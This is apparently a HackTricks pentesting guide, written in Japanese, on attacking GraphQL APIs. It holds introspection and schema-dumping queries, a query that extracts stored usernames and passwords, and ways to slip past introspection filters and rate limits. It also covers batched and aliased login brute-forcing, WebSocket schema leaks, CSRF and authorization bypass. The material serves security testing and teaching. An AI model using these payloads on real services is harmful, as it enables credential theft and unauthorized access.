GraphQL

Support HackTricks

Introduction

GraphQLは、バックエンドからデータをクエリするための簡素化されたアプローチを提供する効率的な代替手段として強調されています。データを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いRESTとは対照的に、GraphQLは単一のリクエストを通じて必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを減少させることにより、開発者に大きな利益をもたらします

GraphQLとセキュリティ

GraphQLを含む新しい技術の登場に伴い、新しいセキュリティの脆弱性も現れます。重要な点は、GraphQLにはデフォルトで認証メカニズムが含まれていないということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。

ディレクトリブルートフォース攻撃とGraphQL

露出したGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:GraphQL: A query language for APIs.

フィンガープリンティング

ツールgraphw00fは、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を印刷することができます。

ユニバーサルクエリ

URLがGraphQLサービスであるかどうかを確認するために、ユニバーサルクエリ query{__typename} を送信できます。レスポンスに {"data": {"__typename": "Query"}} が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの __typename フィールドに依存しています。

query{__typename}

基本列挙

Graphqlは通常、GETPOST(x-www-form-urlencoded)およびPOST(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。

インストロスペクション

スキーマ情報を発見するためにインストロスペクションを使用するには、__schemaフィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。

query={__schema{types{name,fields{name}}}}

このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これは、データベースをクエリする方法を知るのに非常に役立ちます。

エラー

エラー表示されるかどうかを知ることは興味深いことであり、それは有用な情報に貢献します。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

インストロスペクションを介してデータベーススキーマを列挙する

インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から onOperationonFragment、および onField ディレクティブを削除してみてください。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

インラインイントロスペクションクエリ:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最後のコード行は、graphqlからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするgraphqlクエリです。

イントロスペクションが有効になっている場合、GraphQL Voyagerを使用して、GUIですべてのオプションを表示できます。

クエリ

データベースにどのような情報が保存されているかがわかったので、いくつかの値を抽出してみましょう

イントロスペクションでは、どのオブジェクトを直接クエリできるかを見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"queryType"が"Query"と呼ばれ、"Query"オブジェクトのフィールドの1つが"flags"であり、これはオブジェクトのタイプでもあります。したがって、フラグオブジェクトをクエリできます。

"flags"のクエリのタイプは"Flags"であり、このオブジェクトは以下のように定義されています:

"Flags"オブジェクトはnamevalueで構成されていることがわかります。次に、クエリを使用してフラグのすべての名前と値を取得できます:

query={flags{name, value}}

注意してください、クエリするオブジェクトプリミティブ****タイプ(例えば文字列)の場合、以下の例のように

単に次のようにクエリできます:

query={hiddenFlags}

別の例では、"Query" タイプオブジェクトの中に "user" と "users" の 2 つのオブジェクトがありました。 これらのオブジェクトが検索に引数を必要としない場合、必要なデータを 要求する だけで すべての情報を取得 できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます:

しかし、この例ではそうしようとすると、次の エラー が発生します:

どうやら、"uid" 型の引数 Int を使用して検索するようです。 とにかく、Basic Enumeration セクションでは、必要な情報をすべて表示するクエリが提案されていました: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

そのクエリを実行したときに提供された画像を読むと、"user" に型 Intarg "uid" があることがわかります。

したがって、軽い uid ブルートフォースを実行したところ、uid=1 でユーザー名とパスワードが取得されました: query={user(uid:1){user,password}}

私は、パラメータ "user" と "password" を要求できることを 発見 したことに注意してください。なぜなら、存在しないものを探そうとすると (query={user(uid:1){noExists}}) このエラーが発生するからです:

そして、列挙フェーズの間に、"dbuser" オブジェクトが "user" と "password" をフィールドとして持っていることを発見しました。

クエリ文字列ダンプトリック(@BinaryShadow_ に感謝)

文字列型で検索できる場合、例えば: query={theusers(description: ""){username,password}} とし、空の文字列検索 すると、すべてのデータが ダンプ されます。 (この例はチュートリアルの例とは関係ありません。この例では、"theusers" を "description" という文字列フィールドで検索できると仮定してください)。

検索

このセットアップでは、データベースには 映画 が含まれています。 メール名前 で識別され、映画名前評価 で識別されます。 は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。

名前 で人を 検索 し、彼らのメールを取得できます:

{
searchPerson(name: "John Doe") {
email
}
}

あなたは名前で人を検索し、彼らの登録された映画を取得できます:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

subscribedMoviesnameを取得する方法に注意してください。

複数のオブジェクトを同時に検索することもできます。この場合、2つの映画を検索します:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

または、エイリアスを使用した複数の異なるオブジェクトの関係:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

ミューテーションはサーバーサイドで変更を加えるために使用されます。

イントロスペクションでは、宣言された ミューテーションを見つけることができます。次の画像では、"MutationType"は"Mutation"と呼ばれ、"Mutation"オブジェクトにはミューテーションの名前(この場合は"addPerson"など)が含まれています:

このセットアップでは、データベースには人物映画が含まれています。人物はそのメール名前で識別され、映画はその名前評価で識別されます。人物は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。

データベース内に新しい映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションはaddMovieと呼ばれます):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

クエリ内で値とデータの型がどのように示されているかに注意してください。

さらに、データベースは、既存の友人映画との関連を持つ人物の作成を可能にするaddPersonという名前のミューテーション操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに事前に存在している必要があることに注意することが重要です。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

ディレクティブのオーバーロード

このレポートで説明されている脆弱性の1つで説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。

1つのAPIリクエストでのバッチブルートフォース

この情報はhttps://lab.wallarm.com/graphql-batching-attack/から取得されました。 異なる認証情報で多くのクエリを同時に送信することでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。

以下は、同時に3つの異なるメール/パスワードペアを使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:

レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。2番目のミューテーションは正しい認証データを持ち、レスポンスには正しい認証セッショントークンが含まれています。

インストロスペクションなしのGraphQL

ますます多くのgraphqlエンドポイントがインストロスペクションを無効にしています。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、clairvoyanceのようなツールがスキーマのほとんどを再構築するのに十分です。

さらに、Burp Suite拡張機能GraphQuailは、Burpを通過するGraphQL APIリクエストを観察し新しいクエリを見るたびに内部GraphQL スキーマを構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細についてはこちらを確認してください

素晴らしいワードリストは、GraphQLエンティティを発見するためにここにあります

GraphQLインストロスペクション防御の回避

APIのインストロスペクションクエリに対する制限を回避するために、__schemaキーワードの後に特殊文字を挿入することが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のあるスペース、改行、カンマのような文字を追加することで、制限を回避できます。たとえば、__schemaの後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

成功しない場合は、GETリクエストや**x-www-form-urlencodedを使用したPOST**などの代替リクエスト方法を検討してください。制限がPOSTリクエストのみに適用される可能性があります。

WebSocketsを試す

このトークで述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

露出したGraphQL構造の発見

イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有効な戦略です。これらのクエリは、開発者ツールのSourcesタブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に露出した機密クエリを明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

もしCSRFが何か分からない場合は、以下のページを読んでください:

CSRF (Cross Site Request Forgery)

外には、CSRFトークンなしで構成されたいくつかのGraphQLエンドポイントを見つけることができるでしょう。

GraphQLリクエストは通常、Content-Type **application/json**を使用してPOSTリクエストで送信されることに注意してください。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

しかし、ほとんどのGraphQLエンドポイントは**form-urlencoded POSTリクエスト**もサポートしています:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

したがって、前述のようなCSRFリクエストはプレフライトリクエストなしで送信されるため、CSRFを悪用してGraphQLに変更加えることが可能です。

ただし、Chromeのsamesiteフラグの新しいデフォルトクッキー値はLaxであることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。

クエリ リクエストGET リクエストとして送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。

また、XS-Search 攻撃を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。

詳細については、こちらの元の投稿を確認してください

GraphQLにおけるクロスサイトWebSocketハイジャック

GraphQLを悪用するCRSF脆弱性と同様に、保護されていないクッキーを使用してGraphQLでの認証を悪用するためのクロスサイトWebSocketハイジャックを実行することも可能です。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。

詳細については、次を確認してください:

WebSocket Attacks

GraphQLにおける認可

エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。

クエリ入力変数を変更すると、機密アカウントの詳細が漏洩する可能性があります。

ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQLにおける認証のバイパス

クエリのチェーニングを行うことで、弱い認証システムをバイパスできます。

以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。

GraphQLにおけるエイリアスを使用したレート制限のバイパス

GraphQLでは、エイリアスはAPIリクエストを行う際にプロパティの名前を明示的に指定することを可能にする強力な機能です。この機能は、同じタイプのオブジェクトの複数のインスタンスを単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。

GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: エイリアス

エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐためにHTTPリクエストの数を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。

以下の例を考えてみましょう。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

ツール

脆弱性スキャナー

クライアント

自動テスト

参考文献

HackTricks をサポートする

Last updated